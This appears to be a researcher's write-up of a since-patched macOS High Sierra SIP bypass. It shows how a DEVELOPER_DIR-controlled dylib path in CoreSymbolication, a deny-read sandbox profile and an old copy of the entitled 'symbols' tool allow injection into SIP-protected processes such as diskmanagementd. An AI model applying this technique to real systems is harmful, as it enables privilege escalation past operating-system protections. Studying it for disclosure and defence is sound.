This bug has been fixed in Mojave Beta, but sill present in latest High Sierra (10.13.5
).
It’s a logical bug that an entitled binary tries to load an insecure external library controllable by environment variable. To exploit it we need to abuse sandbox, which is interesting that sometimes a mitigation could be turned to an exploit.
CoreSymbolication(/System/Library/PrivateFrameworks/CoreSymbolication.framework
) has some private api for symbolication. When demangling swift application symbols, it tries to load external library in following order:
1. /System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib2. /Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib3. /usr/lib/libswiftDemangle.dylib4. ${xcselect_get_developer_dir_path()}/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib
The function xcselect_get_developer_dir_path
will return environ variable DEVELOPER_DIR
if exists. Absolutely controllable.
Actually the first libswiftDemangle.dylib
exists. Will it reach the last branch? I’ll talk about it later.
Apple has built-in com.apple.SamplingTools
in:
/usr/bin/{filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample,malloc_history32,symbols,vmmap,leaks,stringdups,malloc_history}
And they are entitled:
~ jtool --ent `which symbols`com.apple.private.kernel.get-kext-infocom.apple.system-task-ports
With this entitlement, SamplingTools
can attach to SIP protected process with task_for_pid
, even without root privilege.
$ vmmap Finder | head -n 8
Process: Finder [42164]
Path: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder
Load Address: 0x10515f000
Identifier: com.apple.finder
Version: 10.13.5 (10.13.5)
Build Info: Finder_FE-1054005004000000~3
Code Type: X86–64
Parent Process: ??? [1]
LLDB fails even it’s rooted:
$ sudo lldb -n Finder
Password:
(lldb) process attach --name "Finder"
error: attach failed: cannot attach to process due to System Integrity Protection
So this seems like a "meta" entitlement. With it you can just inject to other entitled process and gain arbitrary entitlement.
Let’s just start an application compiled with swift, then run symbols [pid] -printDemangling
and it will call CoreSymbolication!demangle
, which has potential ability to load insecure code.
But there are two problems. First, the last branch looks impossible to be reached because /System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib
exists.
Actually we can just block them with a sandbox. Yeah, use the security facility to trigger something insecure:
(version 1)(allow default)(deny file-read*(literal "/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib")(literal "/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib")(literal "/usr/lib/libswiftDemangle.dylib"))
Then, spawn a child process with symbols [pid] -printDemangling
to trigger dylib hijack.
Now we have a second problem. It crashes:
System Integrity Protection: enabledCrashed Thread: 0 Dispatch queue: com.apple.main-threadException Type: EXC_BAD_ACCESS (Code Signature Invalid)Exception Codes: 0x0000000000000032, 0x000000010d745000Exception Note: EXC_CORPSE_NOTIFYTermination Reason: Namespace CODESIGNING, Code 0x2kernel messages:External Modification Warnings:Process used task_for_pid().VM Regions Near 0x10d745000:MALLOC_LARGE 000000010d70a000-000000010d745000 [ 236K] rw-/rwx SM=PRV--> mapped file 000000010d745000-000000010d746000 [ 4K] r-x/r-x SM=PRV Object_id=2929ab85mapped file 000000010d748000-000000010d762000 [ 104K] r--/r-- SM=ALI Object_id=2af85085Application Specific Information:dyld: in dlopen()/var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/tmp.0b5SeUjh/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib12 libdyld.dylib 0x00007fff66c9fd86 dlopen + 8613 com.apple.CoreSymbolication 0x00007fff52d15332 invocation function for block in call_external_demangle(char const*) + 34814 libdispatch.dylib 0x00007fff66c64e08 _dispatch_client_callout + 815 libdispatch.dylib 0x00007fff66c64dbb dispatch_once_f + 4116 com.apple.CoreSymbolication 0x00007fff52cb880f demangle + 29817 com.apple.CoreSymbolication 0x00007fff52cb85e3 TRawSymbol<Pointer64>::name() + 7518 com.apple.CoreSymbolication 0x00007fff52cbd88e CSSymbolGetName + 166
com.apple.SamplingTools
in latest macOS are code signed with Library Validation flag, so loading unsigned dylib is prohibited:
$ codesign -dvvv `which symbols`
Executable=/usr/bin/symbols
Identifier=com.apple.SamplingTools
Format=Mach-O thin (x86_64)
CodeDirectory v=20100 size=1384 flags=0x2000(library-validation) hashes=36+5 location=embedded
I just had an El Capitan vm and I looked into it. Wow, the previous SamplingTools distribution
has valid code signature, without the flag.
Only one trouble is that, the built-in binary can task_for_pid
without root, if target is running with the same uid
. But our copy from old macOS will pop a dialog asking for administrative account, unless you have done sudo /usr/sbin/DevToolsSecurity -enable
before.
What a pity that it almost archive EoP.
So just copy to High Sierra and it works. Abuse task_for_pid
to inject to diskmanagementd
and you’ll have the privilege to write to /System
.
Interested in a "Proof of Concept"? Check out: ChiChou/10.13.5-sip-bypass
Didn’t know if Apple has realized it, but it has been fixed in Mojave Beta. No more external library, finally.